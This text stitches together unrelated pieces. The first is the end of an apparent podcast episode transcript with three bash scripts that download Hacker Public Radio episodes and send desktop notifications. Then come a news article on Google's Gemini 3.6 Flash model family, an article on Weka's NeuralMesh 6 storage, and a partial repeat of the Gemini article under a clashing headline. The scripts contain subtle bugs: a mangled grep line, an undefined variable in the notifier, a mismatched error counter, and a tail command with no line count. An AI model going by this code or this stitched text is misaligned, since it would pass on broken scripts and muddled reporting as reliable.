• Then we must copy the scripts to these directories and make them executable. 

• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

• Then we need to run each script manually from the command line to check for errors.

• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * *  /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers. 

It is very unlikely that you really do need each new episode the moment it is available. 

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. 

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS. 

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt" 

tmppodstodownload="$podpath/tmppodstodownload.txt" 

tmppodserrors="$podpath/tmppodserrors.txt" 

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

	echo "$podttimestamp Error - Could not find $podfilepath."

	exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

	echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

	# Copy the errors log from the temporary errors file to the permanent files.

	LogErrors

	exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

	touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

	# $@ accepts multiple parameters.

	for f in "$@"; do

		# Check if the file exists.

		if [ -e "$f" ]; then

			rm "$f"

		fi

	done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

	if [ -e $tmppodserrors ]; then

		# The permanent log.

		cat $tmppodserrors >> $poderrorslog

		# This file is monitored for display by other scripts.

		cat $tmppodserrors > $poderrorsreport

	fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

	wget --timeout=20 --tries=3 -O - "$PodURL" \

	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

	| sort > $tmppodsnew

	# This is an alternate method that does not use xmllint.

	# However, it is not as robust. If someone were to include the

	# first grep search pattern in their show notes, then it would

	# look for that as a valid tag and output the following text

	# as a URL.

	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep " $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

	cat $podcastsfetched | sort > $tmpoldurlssorted

	comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

	rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

	# Clear out previous temporary list of downloaded podcasts.

	true > $tmppodcastsfetched

	for i in $( cat $tmppodstodownload )

	do

		# Extract the file name from the URL.

		fname=$( basename $i )

		outputpodname="$podfilepath/$fname"

		# Download the file.

		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

		# Check if the file exists and is not empty.

		if [[ -s "$outputpodname" ]]; then

			echo $i >> $tmppodcastsfetched

		else

			echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

		fi

		# Delay a reasonable length of time between multiple downloads.

		if (( $PodCount > 1 )); then 

			sleep 3

		fi

	done

	# Add the list of files downloaded to the log.

	# Check if the list exists and is not empty.

	if [ -s $tmppodcastsfetched ]; then

		cat $tmppodcastsfetched >> $podcastsfetched

		# Trim the log file to keep it from growing indefinitely.

		tail -n50 $podcastsfetched > $tmplog

		mv $tmplog $podcastsfetched

	fi

	# Remove the tmp file now that we are done with it.

	rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then 

	if (( $PodCount > $DownloadLimit )); then 

		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors		

	else

		# Download the podcasts listed in the temp file.

		DownloadPodcasts

	fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

	# Check for new files.

	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

	result=$?

	# Check if exited due to new podcast, or if some error.

	if (( result == 0 )); then

		# Success, signal new podcast.

		notify-send "New HPR podcast available."

	else

		# Check to make sure the directory exists.

		# If it doesn't exist, there isn't much we can do to fix it.

		if [ ! -e "$poderrorspath" ]; then

			notify-send "Podfetch error: Podcast directory not found $poderrorspath"

			exit 1

		fi

	fi

	# Wait a bit so that multiple new files don't keep re-triggering the notification.

	sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

	errmsg=$( inotifywait -e modify $poderrorsreport )

	result=$?

	# Wait a bit to ensure that writing to the file is complete.

	sleep 3

	if (( result == 0 )); then

		# Get the latest error message.

		# Cut out the date stamp at the start of the line and take the rest.

		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

		notify-send "Podfetch error: $poderr"

		# Reset the error counter every time there is a successful result.

		errcount=0

	else

		# Check to make sure the directory exists.

		if [ ! -e "$poderrorspath" ]; then

			notify-send "Podfetch error: error report path not found $poderrorspath"

			exit 1

		fi

		# Check if the file we are trying to monitor exists.

		# If not, then create an empty file for error signaling.

		if [ ! -e "$poderrorsreport" ]; then

			echo > $poderrorsreport

		fi

		# Increment the error counter.

		count=$(( count + 1 ))

		if (( count > 3 )); then

			notify-send "Podfetch error: Excessive unknown errors, exiting."

			exit 1

		fi

	fi

done

# ======================================================================

Provide feedback on this episode.

Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 23:33:56 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. 
The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens
Tue, 21 Jul 2026 23:33:22 +0200
GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. 
Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.
Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? 
Weka, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.
This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.
"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.
The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.
The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.
Inside Weka's NeuralMesh 6
NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.
Composable and virtual multi-tenancy. Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. 
Unified file and object storage. Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. 
Metadata-first replication. Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. 
"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."
AlloyFlash and Always-On data reduction. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.
Solving AI's context problem
Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.
Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. 
The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.
"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."
Where Weka sits competitively
Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. 
"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."
McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. 
"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." 
He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. 
"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.
McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.
"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."

Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 22:56:46 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
